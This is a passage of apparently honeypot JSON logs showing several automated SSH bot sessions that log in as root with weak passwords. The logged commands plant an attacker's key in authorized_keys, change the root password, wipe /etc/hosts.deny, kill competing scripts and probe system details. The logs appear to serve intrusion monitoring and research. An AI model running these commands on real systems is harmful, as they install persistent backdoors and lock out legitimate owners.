\"root:Deb0LnBCa76X\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:57:47.011673+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:57:47.306996+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:47.943667+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:57:48.239010+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:57:49.671734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:57:49.967587+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:57:51.370659+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:51.676358+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:57:52.181931+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:57:52.475795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:57:53.133307+00:00","kind":"output","latency_ms":null,"data":" 11:57:53 up 7 days, 8:48, 0 user, load average: 0.17, 0.19, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:57:53.433542+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:57:53.987208+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:57:54.273664+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:57:54.739764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:57:55.033395+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:57:55.726264+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:55 up 7 days, 8:48, 0 user, load average: 0.17, 0.19, 0.14\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:57:56.021130+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:57:56.825229+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:57:57.116779+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:57:57.703864+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:57:57.998804+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:57:58.253357+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:57:58.546993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:57:59.733699+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:58:00.026747+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:58:01.835188+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12356789","method":"password","accepted":true,"tier":"other"}]} {"id":"aae1788c-398f-4c09-8467-32195a70a5c0","name":"amber-tidal-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":45858,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":732,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:57:25.006006+00:00","ended_at":"2026-08-27T11:57:26.484519+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:56:57.544028+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:56:58.274555+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:04.614098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:04.925192+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:05.655415+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4DklzIUAxZPZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:57:06.404529+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:57:07.133867+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:07.438949+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:57:08.176926+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:57:09.095220+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:57:09.822885+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:57:10.850107+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:11.579609+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:57:12.047271+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:57:12.776237+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:57:13.565387+00:00","kind":"output","latency_ms":null,"data":" 11:57:13 up 7 days, 8:47, 0 user, load average: 0.07, 0.06, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:57:14.298117+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:57:15.006529+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:57:15.738621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:57:16.585074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:57:17.331295+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:57:18.222141+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:18 up 7 days, 8:47, 0 user, load average: 0.07, 0.06, 0.08\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:57:18.954898+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:57:19.386176+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:57:20.121755+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:57:20.663380+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:57:21.393021+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:57:22.198576+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:57:22.947665+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:57:24.278460+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:57:25.007218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:57:26.254183+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root12","method":"password","accepted":true,"tier":"other"}]} {"id":"4d5d54b5-edc6-428e-9c7d-75a731c96b29","name":"wistful-patient-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51392,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:55:38.100034+00:00","ended_at":"2026-08-27T11:55:40.302328+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:55:11.319860+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:55:11.579013+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:55:15.916306+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:55:16.607033+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:55:16.870700+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2wOORic8zhKA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:55:17.128265+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:55:17.386767+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:55:18.955181+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:55:19.222714+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:55:20.908142+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:55:21.169862+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:55:23.102230+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:55:23.363262+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:55:24.409833+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:55:24.670536+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:55:26.653870+00:00","kind":"output","latency_ms":null,"data":" 11:55:26 up 7 days, 8:45, 0 user, load average: 0.04, 0.03, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:55:26.914283+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:55:28.336896+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:55:28.598129+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:55:28.923972+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:55:29.183848+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:55:30.737827+00:00","kind":"output","latency_ms":null,"data":"top - 11:55:30 up 7 days, 8:45, 0 user, load average: 0.04, 0.03, 0.04\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:55:31.004727+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:55:33.030954+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:55:33.293059+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:55:35.490646+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:55:35.750971+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:55:36.491806+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:55:36.753587+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:55:37.842245+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:55:38.100714+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:55:40.226717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456@qwerty","method":"password","accepted":true,"tier":"other"}]} {"id":"aa97e1aa-5e37-405e-b2e6-db81e26da46f","name":"misty-downy-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59280,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:52.582483+00:00","ended_at":"2026-08-27T11:53:53.880658+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:53:31.613833+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:32.066026+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:37.357365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:37.857130+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:38.314767+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MtDHnL9RKZRV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:53:38.773961+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:53:39.228475+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:39.565714+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:53:40.023699+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:53:40.843578+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:53:41.300582+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:53:42.156059+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:53:42.615935+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:53:42.927319+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:53:43.399143+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:53:43.812716+00:00","kind":"output","latency_ms":null,"data":" 11:53:43 up 7 days, 8:43, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:53:44.267847+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:53:44.531556+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:53:44.986864+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:53:45.615122+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:53:46.069555+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:53:46.917160+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:46 up 7 days, 8:43, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:53:47.375114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:53:48.102535+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:53:48.561451+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:53:49.108134+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:53:49.565386+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:53:50.465126+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:53:50.923174+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:53:52.131119+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:53:52.584090+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:53:53.741210+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"citrix","method":"password","accepted":true,"tier":"other"}]} {"id":"49149378-e990-4c2e-9b75-a4bd2715635e","name":"prairie-wistful-martin","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51632,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:37.567910+00:00","ended_at":"2026-08-27T11:53:39.758008+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:53:08.689119+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:08.951773+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:13.277342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:14.090195+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:14.353560+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CfswBwG8WZOi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:53:14.616833+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:53:14.880740+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:15.779321+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:53:16.924965+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:53:17.189777+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:53:19.143380+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:53:19.409146+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:53:21.276554+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:53:21.542589+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:53:23.598365+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:53:23.866476+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:53:24.194535+00:00","kind":"output","latency_ms":null,"data":" 11:53:24 up 7 days, 8:43, 0 user, load average: 0.19, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:53:24.459048+00:00","kind":"input","latency_ms":null,"data":"uname 